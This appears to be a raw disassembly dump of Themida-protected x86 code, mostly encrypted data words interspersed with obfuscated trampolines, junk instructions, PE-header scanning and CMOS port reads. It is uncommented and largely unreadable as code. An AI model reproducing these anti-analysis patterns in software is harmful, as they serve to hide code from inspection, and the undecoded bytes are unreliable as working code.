dd 44h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h
dd 0A2C35242h, 31A7A57Fh, 12E8E2h, 3C00000h, 5394F2Bh
dd 0F5DE7BF3h, 21E0CFDEh, 9DD17ACEh, 1C1913BBh, 0B5895F4Bh
dd 612177Dh, 0FEB96061h, 6AFFFFFFh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0CBF0C352h
dd 11DE3FE4h, 15B58BE6h, 2106122Ah, 122ED98Dh, 53006A06h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
dd 21F94E3Fh, 122D698Dh, 0D0EBE06h, 0E1BF5BAAh, 8B6CA963h
dd 122ED98Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1904h, 0C3534300h, 92327535h, 958B6BB4h, 6122CB1h, 0F01E183h
dd 2685h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1B04h, 0C3554500h, 51467290h, 2E70A987h, 8BC2BF0Fh
dd 122D698Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1B04h, 0C3564600h, 0DA76AFFFh, 0AC3406D4h, 7918D89h
dd 0D2810612h, 4685E584h, 0F01E183h, 2385h, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
dd 0BAE07FF7h, 4856D8D2h, 6A6061h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 190424h, 56460000h, 822777C3h, 665B589Dh
dd 0FEB9C18Bh, 0E8FFFFFFh, 6, 0F4259CADh, 0E852684Fh, 0Ah
dd 0D57F929Fh, 0F81F8289h, 5B5859EBh, 0B1958B5Ah, 21061203h
dd 1213DD8Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1604h, 0C3534300h, 21B50593h, 1223ED8Dh, 0BE906h, 0CB850000h
dd 0ADA61D1Bh, 0A9D0DD9Bh, 0DD8D8B7Bh, 6A061213h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
dd 0B039C351h, 0F39B039h, 685h, 1FEF8100h, 833B9D45h, 850F01E1h
dd 25h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh
dd 96C35545h, 3DAB63EDh, 0DD4D1762h, 0ED8D8BE2h, 89061223h
dd 12325195h, 1E18306h, 0C850Fh, 8C0F0000h, 6, 1FD98503h
dd 60610612h, 0BE8h, 2EC42000h, 170830E4h, 65A23353h, 0FFFEB95Fh
dd 0C480FFFFh, 198D2132h, 8906121Eh, 122A4995h, 21FA8B06h
dd 1214F58Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1A04h, 0C3504000h, 0E966B6BAh, 0E8222E5Ah, 7, 0F62DF557h
dd 6661939Eh, 0BA32C781h, 198D8B5Bh, 6A06121Eh, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
dd 0C9FAC357h, 69F7D471h, 2F158D89h, 9D890612h, 6122025h
dd 0F01E183h, 0B85h, 19BD8B00h, 66061221h, 62A5E081h, 14F58D8Bh
dd 0FAB70612h, 0F01E183h, 85h, 6A606100h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0E6EFC356h
dd 8B199376h, 120C5585h, 0D1BD3106h, 0C7061200h, 1207E585h
dd 7D006h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1D04h, 0C3574700h, 0C06C3596h, 0A223BDE8h, 870F5035h
dd 0
; ---------------------------------------------------------------------------
mov bl, dh
popa
push 0
push eax
call sub_5BE67A
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BE67A proc near ; CODE XREF: Themida_:005BE672p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 17h
inc eax
push eax
retn
sub_5BE67A endp
; ---------------------------------------------------------------------------
dec ebp
mov edi, 0B5296C9Fh
lds esp, ds:7EB0612h
popa
popf
jmp $+5
push 0
push edx
call sub_5BE6A8
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BE6A8 proc near ; CODE XREF: Themida_:005BE6A0p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 16h
inc edx
push edx
retn
sub_5BE6A8 endp
; ---------------------------------------------------------------------------
jecxz short near ptr loc_5BE6CB+7
push ss
push 0
push ebp
call sub_5BE6C6
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BE6C6 proc near ; CODE XREF: Themida_:005BE6BEp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
loc_5BE6CB: ; CODE XREF: Themida_:005BE6B8j
add [esp-4+arg_4], 19h
inc ebp
push ebp
retn
sub_5BE6C6 endp
; ---------------------------------------------------------------------------
and [ecx-1035A284h], ebx
add [ebp+6121381h], esi
mov eax, ecx
mov edx, 0F0113000h
sub edx, 0F0000000h
add edx, 14h
mov [ebp+6120F1Dh], edx
sub edx, 14h
lea eax, [ebp+6162CB0h]
push eax
push large dword ptr fs:0
mov large fs:0, esp
call $+5
pop eax
sub eax, edx
and eax, 0FFFFF000h
loc_5BE71D: ; CODE XREF: Themida_:005BE73Fj
cmp word ptr [eax], 5A4Dh
jnz loc_5BE73A
movzx edx, word ptr [eax+3Ch]
add edx, eax
cmp dword ptr [edx], 4550h
jz loc_5BE744
loc_5BE73A: ; CODE XREF: Themida_:005BE722j
sub eax, 1000h
jmp loc_5BE71D
; ---------------------------------------------------------------------------
loc_5BE744: ; CODE XREF: Themida_:005BE734j
mov ecx, eax
mov [ebp+6122461h], eax
add eax, [eax+3Ch]
movzx edx, word ptr [eax+6]
mov [ebp+6121BA5h], edx
mov edx, [eax+50h]
mov [ebp+6121181h], edx
add eax, 0F8h
mov edx, [eax+0Ch]
add edx, ecx
mov [ebp+6122DC1h], edx
add edx, [eax+8]
mov [ebp+6120765h], edx
pop large dword ptr fs:0
add esp, 4
jmp loc_5BE79D
; ---------------------------------------------------------------------------
push ecx
mov ecx, [esp+10h]
sub dword ptr [ecx+0B0h], 1000h
pop ecx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_5BE79D: ; CODE XREF: Themida_:005BE785j
cmp dword ptr [ebp+6122EEDh], 0
jz loc_5BE7CE
mov byte ptr [ebp+61215C1h], 47h
push 0D49AA7D2h
push dword ptr [ebp+6123101h]
lea eax, [ebp+615827Ah]
call eax
push 0
call eax
mov [ebp+612200Dh], eax
loc_5BE7CE: ; CODE XREF: Themida_:005BE7A4j
mov edx, ebx
pusha
sub edi, [ebp+61230B5h]
mov eax, eax
push 0
push eax
call sub_5BE7E4
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BE7E4 proc near ; CODE XREF: Themida_:005BE7DCp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 14h
inc eax
push eax
retn
sub_5BE7E4 endp
; ---------------------------------------------------------------------------
jle short near ptr loc_5BE858+4
mov ecx, 0BD832C35h
add [edi], ebp
adc al, [esi]
add [ebp+9], dh
cmp dword ptr [ebp+6122149h], 0
jz short loc_5BE824
push eax
push ebx
mov eax, eax
mov eax, 438h
mov [ebp+6120B35h], eax
lea ebx, [ebp+614AD09h]
call ebx ; _iob
pop ebx
pop eax
loc_5BE824: ; CODE XREF: Themida_:005BE809j
cmp dword ptr [ebp+6122149h], 0
jz short loc_5BE844
push eax
push ebx
mov eax, 438h
mov [ebp+6120B35h], eax
lea ebx, [ebp+614A9F8h]
call ebx ; _iob
pop ebx
pop eax
loc_5BE844: ; CODE XREF: Themida_:005BE82Bj
or [ebp+6121829h], esi
mov [ebp+6122BFDh], ebx
mov eax, eax
mov ecx, [ebp+6122FC9h]
loc_5BE858: ; CODE XREF: Themida_:005BE7F4j
call sub_5BF069
push 0
push eax
call sub_5BE868
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BE868 proc near ; CODE XREF: Themida_:005BE860p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Bh
inc eax
push eax
retn
sub_5BE868 endp
; ---------------------------------------------------------------------------
pop esp
push es
or al, 0CCh
daa
ror dword ptr [ecx+5Dh], 8Bh
mov ch, 11h
adc eax, 85890612h
inc ecx
or [edx], dl
push es
and esi, [ebp+6122AE5h]
call sub_5BF069
jmp loc_5BE8A9
; ---------------------------------------------------------------------------
dd 387EFEEEh, 640DB737h, 1A8CC25Fh
db 0DCh
; ---------------------------------------------------------------------------
loc_5BE8A9: ; CODE XREF: Themida_:005BE897j
mov [ebp+61225B1h], eax
mov ecx, 5BDDD4D9h
mov ecx, [ebp+6122935h]
call sub_5BF069
jge loc_5BE8C8
movzx edi, dx
loc_5BE8C8: ; CODE XREF: Themida_:005BE8BFj
mov [ebp+61214C1h], eax
and cx, 0C197h
and ch, 46h
call sub_5BF069
push 0
push esi
call sub_5BE8E6
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BE8E6 proc near ; CODE XREF: Themida_:005BE8DEp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 15h
inc esi
push esi
retn
sub_5BE8E6 endp
; ---------------------------------------------------------------------------
dw 127Ah
dd 0EE8h, 4FDE7500h, 0E92C5432h, 497C45D0h, 0FB4F842h
dd 288h, 5E616000h, 29E58589h, 6A0612h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 180424h, 52420000h, 0BB8B4CC3h
dd 85317B1Fh, 6123451h, 724E8h, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 21FA2900h
dd 0DD678920h, 0EB8A15C4h, 0C898589h, 95010612h, 61211E9h
dd 7C5B531h, 0E6E80612h, 6A000006h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 4EFFC351h
dd 7FFAE7B9h, 0C781668Dh, 8589B42Fh, 6122B19h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 68C35747h, 3B177B3h
dd 0F9CE62AAh, 690E8h, 0BD8B5000h, 6122BFDh, 7E85Eh, 0BF990000h
dd 5CF5244Bh, 0A99D890Ah, 5906122Ah, 29B18589h, 0BD890612h
dd 6122FE5h, 664E8h, 0B1B58B00h, 89061221h, 1231C585h
dd 0F98D0306h, 6606121Dh, 0E8F95CBEh, 649h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0DAC35646h, 0E0493A07h
dd 0B58960DBh, 6122AEDh, 8D0Fh, 89610000h, 12243185h, 53006A06h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h
dd 85418ACCh, 1969097Ch, 0EAE8B1FAh, 66000005h, 0FBE4DE81h
dd 2D798589h, 85890612h, 612297Dh, 5D4E8h, 1DBD8B00h, 8906121Dh
dd 1219B185h, 3850F06h, 66000000h, 8166CF8Bh, 0E8876CD9h
dd 5B5h, 1D159D89h, 85890612h, 61229A5h, 0E856006Ah, 3
dd 5EC35E20h, 4247489h, 4244481h, 1Ch, 25C35646h, 0C6F7EBFEh
dd 6A9772F3h, 580E8h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1504h, 0C3524200h, 89F583CFh, 1232E585h
dd 3830F06h, 0F000000h, 4EE8CFBFh, 6A000005h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
dd 973C352h, 0CE952F6h, 16000000h, 0A18A2C1Fh, 0B46EAC22h
dd 89905287h, 1231F185h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1404h, 0C3554500h, 13E9BEh, 2E2F0000h, 61B5DB1Dh
dd 10D4BCF2h, 2281360Ch, 0A329DCCh, 22D980B8h, 4DCE8h
dd 1DE18100h, 50420AEBh, 5FC88B66h, 8358589h, 6A0612h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
dd 0E63C45C3h, 1BF32575h, 9D2913E5h, 6122961h, 49CE8h
dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h
dd 0C3554500h, 3AA1322Ah, 9E9A3h, 62B10000h, 8325BC3h
dd 89B69F89h, 1213A185h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1804h, 0C3514100h, 7D42EC05h, 6A00B0ECh
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h
dd 41000000h, 313DC351h, 49BD8B18h, 0F506120Bh, 6AD8B60Fh
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h
dd 45000000h, 6603C355h, 1042C781h, 6BAh, 4AC58000h, 0F1852960h
dd 106121Ch, 121969BDh, 0C38B6106h, 201E8BBEh, 4E8C165h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 51C35545h
dd 580C3217h, 29E2F766h, 1218ED95h, 7E906h, 1370000h, 861AB07h
dd 6AD82B6Eh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 18042444h, 45000000h, 81C2C355h, 8185EC36h, 0D91562D1h
dd 0EBB9662Ah, 81B15046h, 33241C89h, 121DA98Dh, 0A995FF06h
dd 6A06120Ch, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 19042444h, 42000000h, 0A9CFC352h, 504390C8h, 755EC181h
dd 0F5B4785h, 185h, 958DFC00h, 6122191h, 0E857006Ah, 3
dd 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0D2C35747h, 7166CED5h
dd 0F5D3BAFBh, 1A89C1B1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 14h, 0BC35747h, 2719B58Bh, 42890612h, 658D8B04h
dd 8D061229h, 122D9995h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1C04h, 0C3564600h, 58671E40h, 0ED76B825h
dd 0E1CE8143h, 8B65987Ah, 122E95BDh, 6A1A8906h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
dd 0A3BCC350h, 4289FB01h, 56006A04h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 0ADB58B49h
dd 0E9061215h, 11h, 3E63AA4Ah, 0E4F2B9D3h, 6D5272C4h, 0DF537B6h
dd 0FD958DAAh, 6A061220h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 16042444h, 47000000h, 0D376C357h, 0BE931h
dd 1ADE0000h, 0F242CBE6h, 7B31DEDFh, 8B1A89B4h, 44289F7h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 6EC35141h
dd 958D136Ch, 6121E2Dh, 6A1A89F9h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 45E1C357h
dd 0E8B63BF3h, 6, 0B9D6D36Dh, 0D681A69Fh, 230D1DC6h, 4428959h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 64C35242h
dd 2DA18D09h, 958D0612h, 612287Dh, 24E98166h, 6A1A89BCh
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h
dd 46000000h, 945AC356h, 6A044289h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0FEEBC357h
dd 0FAA8AF51h, 0A75C00DAh, 2A05958Dh, 81510612h, 0EA2C06D6h
dd 1A89592Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 18h, 21C35747h, 9908A23Ch, 89F2B70Fh, 0BD2B0442h, 612139Dh
dd 2829958Dh, 6A0612h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1D0424h, 55450000h, 64D265C3h, 11AD14EAh, 6058619Bh
dd 1ADDBD89h, 9D310612h, 61232CDh, 6A1A8961h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
dd 7092C353h, 9167531h, 122DD1B5h, 4428906h, 13E9h, 0B513A800h
dd 7713A289h, 0B38D5D11h, 12B2BF0Ah, 517968C5h, 2665958Dh
dd 89560612h, 1211F595h, 1A895F06h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 17h, 6DC35747h, 89D57C51h, 121C4995h
dd 4428906h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 16h, 73C35646h, 0BD332768h, 61207DDh, 69E9h, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
dd 4820F86h, 66000000h, 8BD87BBEh, 1227C5BDh
; ---------------------------------------------------------------------------
push es
; =============== S U B R O U T I N E =======================================
sub_5BF069 proc near ; CODE XREF: Themida_:loc_5BE858p
; Themida_:005BE892p ...
push 0
push 0
mov [ebp+6122711h], esi
push 0
cld
push 0
push 0
push edx
call sub_5BF083
and [edx-3Dh], bl
sub_5BF069 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5BF083 proc near ; CODE XREF: sub_5BF069+12p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 15h
inc edx
push edx
retn
sub_5BF083 endp
; ---------------------------------------------------------------------------
push edx
mov al, 0F8h
call dword ptr [ebp+6122931h]
mov di, ax
retn
; ---------------------------------------------------------------------------
mov ecx, [ebp+6121B79h]
mov al, ch
jz $+6
mov eax, eax
mov ecx, eax
mov ecx, [ebp+612161Dh]
cmp dword ptr [ebp+6122F01h], 0
jnz short loc_5BF0CA
cmp dword ptr [ebp+6122149h], 0
jz short loc_5BF0E3
loc_5BF0CA: ; CODE XREF: Themida_:005BF0BFj
push eax
push ebx
mov eax, eax
mov eax, 438h
mov [ebp+61202B9h], eax
lea ebx, [ebp+614AD70h]
call ebx ; _iob
pop ebx
pop eax
loc_5BF0E3: ; CODE XREF: Themida_:005BF0C8j
cmp dword ptr [ebp+6122149h], 0
jz short loc_5BF103
push eax
push ebx
mov eax, 438h
mov [ebp+61202B9h], eax
lea ebx, [ebp+614AA11h]
call ebx ; _iob
pop ebx
pop eax
loc_5BF103: ; CODE XREF: Themida_:005BF0EAj
push 0
push eax
call sub_5BF10E
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BF10E proc near ; CODE XREF: Themida_:005BF106p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 16h
inc eax
push eax
retn
sub_5BF10E endp
; ---------------------------------------------------------------------------
xor al, 64h
and al, 56h
pusha
clc
mov ecx, edx
popa
pop edi
add esi, 3F3FAEF3h
mov eax, eax
lea eax, [ebp+6120065h]
push 0
push esi
call sub_5BF141
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BF141 proc near ; CODE XREF: Themida_:005BF139p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ch
inc esi
push esi
retn
sub_5BF141 endp
; ---------------------------------------------------------------------------
db 48h, 0D4h, 7Ch
dd 8267384Eh, 0BD03E05Dh, 61216F1h, 0E7BF6690h, 8B665053h
dd 6A90FEh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
dd 57470000h, 9E5AF9C3h, 0D381006Ah, 3884C085h, 6A006Ah
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
dd 54A742C3h, 8DF8BF0Fh, 1637D985h, 4E78106h, 83015CE3h
dd 565005C0h, 5FFD8A51h, 2404895Bh, 6AEBD380h, 31BD8B00h
dd 6A061212h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1D04h, 0C3534300h, 0EBFC5EAEh, 26A59C2Dh, 0BD89CA77h
dd 6122E9Dh, 0FFDE8B66h, 120B5595h, 4D8D8906h, 8D061233h
dd 159BCA8Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1504h, 0C3524200h, 9D8B94AFh, 6120291h, 1299BD8Bh, 0D1FF0612h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0A2C35545h
dd 29630709h, 121D619Dh, 0E9BD8306h, 106120Eh, 3D850Fh
dd 0BD8B0000h, 6123085h, 6A026Ah, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 180424h, 51410000h, 65C956C3h, 9D8BDF78h
dd 6120F55h, 1E50BF50h, 489411Dh, 0D595FF24h, 0E906122Ch
dd 0E0Ah, 0E8h, 0ED815D00h, 61637E3h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 17h, 8EC35545h, 8B8318A6h, 120B89BDh
dd 81F98B06h, 0E1B4CCFh, 8F858D7Bh, 0F061596h, 0C83h, 6850F00h
dd 9000000h, 12029D95h, 8A609006h, 0DE8C6h, 0A5ED0000h
dd 0C017FF6Dh, 2F2F05ADh, 5F0D68A9h, 0B7535061h, 6A905F29h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h
dd 45000000h, 4083C355h, 215B6897h, 2B04C7B7h, 1231ED9Dh
dd 35FF6406h, 0
; ---------------------------------------------------------------------------
push 0
push ebp
call sub_5BF363
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BF363 proc near ; CODE XREF: Themida_:005BF35Bp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 18h
inc ebp
push ebp
retn
sub_5BF363 endp
; ---------------------------------------------------------------------------
push ebp
jmp short loc_5BF37A
; ---------------------------------------------------------------------------
dw 32C6h
db 64h, 89h
; ---------------------------------------------------------------------------
loc_5BF37A: ; CODE XREF: Themida_:005BF374j
and eax, 0
sub edi, 762FC249h
inc dword ptr [ebp+6121235h]
push 0
push eax
call sub_5BF396
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BF396 proc near ; CODE XREF: Themida_:005BF38Ep
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 16h
inc eax
push eax
retn
sub_5BF396 endp
; ---------------------------------------------------------------------------
pushf
push es
dec esp
mov [ebp+61232E1h], ecx
loc_5BF3AF: ; CODE XREF: Themida_:loc_5C00B9j
push 0FFFFFFFFh
push 0
push edi
call sub_5BF3BC
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BF3BC proc near ; CODE XREF: Themida_:005BF3B4p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 15h
inc edi
push edi
retn
sub_5BF3BC endp
; ---------------------------------------------------------------------------
xor edi, [eax-77h]
mov ebp, 6121069h
movsx ebx, bx
push dword ptr [ebp+6120841h]
clc
call dword ptr [ebp+6121475h]
jmp loc_5BF51B
; ---------------------------------------------------------------------------
mov bh, ch
jmp loc_5BF401
; ---------------------------------------------------------------------------
dd 3C7CC2EFh, 8C63404Fh, 79F76425h, 8E91436h
db 66h
; ---------------------------------------------------------------------------
loc_5BF401: ; CODE XREF: Themida_:005BF3EBj
mov al, 0
mov bx, si
out 70h, al ; CMOS Memory:
; used by real-time clock
jmp loc_5BF420
; ---------------------------------------------------------------------------
db 45h, 8Ah, 0C0h
dd 0CC1331E6h, 0A1D62B1Ch, 0FA874C36h, 5A29A01Fh
; ---------------------------------------------------------------------------
loc_5BF420: ; CODE XREF: Themida_:005BF408j
in al, 71h ; CMOS Memory
push esi
or ebx, [ebp+61229F1h]
pop edi
cmp al, 61h
jnb loc_5BF51B
sub [ebp+6121FA9h], ecx
movzx ecx, al
jmp loc_5BF448
; ---------------------------------------------------------------------------
dd 0EB69274h, 0A31930BBh
; ---------------------------------------------------------------------------
loc_5BF448: ; CODE XREF: Themida_:005BF43Bj
mov edx, 6
mov edi, 778D6723h
mov eax, ecx
jmp loc_5BF466
; ---------------------------------------------------------------------------
db 2 dup(3), 0FCh
dd 0AA54B0DEh, 0FBF9E3CDh
db 62h, 0B5h
; ---------------------------------------------------------------------------
loc_5BF466: ; CODE XREF: Themida_:005BF454j
shr eax, 4
mov ebx, esi
mul dx
mov ebx, edx
sub ecx, eax
mov [ebp+61202ADh], esi
mov edx, ecx
pusha
mov ecx, [ebp+6122941h]
popa
and bh, 0C0h
jmp $+5
mov eax, [ebp+6122191h]
jmp loc_5BF4A7
; ---------------------------------------------------------------------------
db 0DEh, 0B7h, 5Ah
; ---------------------------------------------------------------------------
sub al, 77h
add [ebx], dl
lodsd
cmpsb
mov ebp, 0F73E9F81h
and ebx, [eax+edi*4-59h]
loc_5BF4A7: ; CODE XREF: Themida_:005BF490j
add eax, 7
mov ebx, [ebp+61228D1h]
add eax, 0
mov edi, [ebp+612283Dh]
add bl, 18h
cmp edx, eax
jnb loc_5BF4D5
add edi, 5357DA7h
sbb di, 9798h
jmp loc_5BF51B
; ---------------------------------------------------------------------------
stc
loc_5BF4D5: ; CODE XREF: Themida_:005BF4BEj
mov ecx, [ebp+61213DDh]
or [ebp+612042Dh], edi
mov bx, 660Eh
and ecx, 1
jz loc_5BF51B
pusha
mov [ebp+6122A81h], esi
or dh, 65h
popa
and dword ptr [ebp+61213DDh], 0FFFFFFFEh
or [ebp+6120B39h], esi
mov [ebp+6122191h], edx
mov bx, 9090h
mov ebx, [ebp+6120CA5h]
jmp $+5
loc_5BF51B: ; CODE XREF: Themida_:005BF3E4j
; Themida_:005BF42Cj ...
lea esi, [ebp+615D407h]
push 0
push ecx
call sub_5BF52C
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BF52C proc near ; CODE XREF: Themida_:005BF524p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 19h
inc ecx
push ecx
retn
sub_5BF52C endp
; ---------------------------------------------------------------------------
dd 6559830Fh, 13E9C588h, 0E3000000h, 0A24A5490h, 0E3AACAD6h
dd 4421366Ch, 0A7BFE5AFh, 6AC70Bh, 0FA82BF66h, 29D195FFh
dd 9D010612h, 6121C8Dh, 705B9h, 1D8D0100h, 0FC061208h
dd 0FFCE183h, 488h, 9CBB6600h, 6AFC70h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 8EFD52C3h
dd 7841E7E6h, 0B589ED7Bh, 612255Dh, 0BD89C02Bh, 6121F75h
dd 6AD22Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
dd 50400000h, 0FED43C3h, 33ADD8B7h, 3E8D1C2h, 4E983D0h
dd 6AF475h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
dd 51410000h, 0DAFC1FC3h, 89E19872h, 11E9h, 98504F00h
dd 0DC4E382Fh, 24765127h, 0F66F47F6h, 0E381ABA8h, 0F69B01Bh
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0C5C35747h
dd 0EBF3F5A5h, 3195010Ah, 0E9061217h, 0Eh, 0DDA27B97h
dd 64126B11h, 44A6E2Ah, 0BD29CBC7h, 6120461h, 880Dh, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h
dd 14A78241h, 0E7C3CE68h, 958B3EB7h, 6122DCDh, 0DE9h, 407AA700h
dd 0C16A8824h, 0C9AC73B6h, 8D8B6763h, 61231BDh, 89DAB70Fh
dd 12217DBDh, 0C28B5006h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h
dd 6A58188Bh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1D042444h, 43000000h, 0ABC1C353h, 299CD1CBh, 0C3CA593Eh
dd 0CE8h, 69237200h, 0F5385CA3h, 0BA4D2208h, 0D0E6BF35h
dd 835F3D7Ch, 121419BDh, 840F0006h, 8Fh, 21359D23h, 0BD0B0612h
dd 61221A9h, 0B8h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1804h, 0C3554500h, 6B4A8FD7h, 0E9BD8B3Dh
dd 8D061226h, 124E4B8Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1804h, 0C3514100h, 0CE0EB331h, 119D2389h
dd 0F906122Eh, 6AE1FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1B0424h, 51410000h, 921B2AC3h, 4608C923h, 69BD8BCFh
dd 83061232h, 120011BDh, 840F0006h, 402h, 83FEB70Fh, 120011BDh
dd 840F0106h, 40Dh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 19h, 9CC35141h, 3CE014BFh, 830AB773h, 120011BDh
dd 860F0306h, 3A7h, 0FADBC381h, 0F60197Dh, 8C66DBBFh, 3DB529D9h
dd 8006121Ah, 6A04E1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1B0424h, 57470000h, 522257C3h, 0E72695BDh, 45BD8B01h
dd 0A061223h, 3F840FC9h, 8B000001h, 1224CD85h, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
dd 2F3220E4h, 0DC62A012h, 8533FCBBh, 612248Dh, 28B1B589h
dd 66500612h, 489DE8Bh, 51006A24h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1A04h, 0C3514100h, 0F4AFBE1h, 8B1B0E56h
dd 1228EDBDh, 6A006A06h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 17042444h, 47000000h, 2C8AC357h, 0CE9E3C7h
dd 0CE000000h, 0F6D064B0h, 0AEFE9E1Bh, 0E8ADFA6Dh, 0Ah
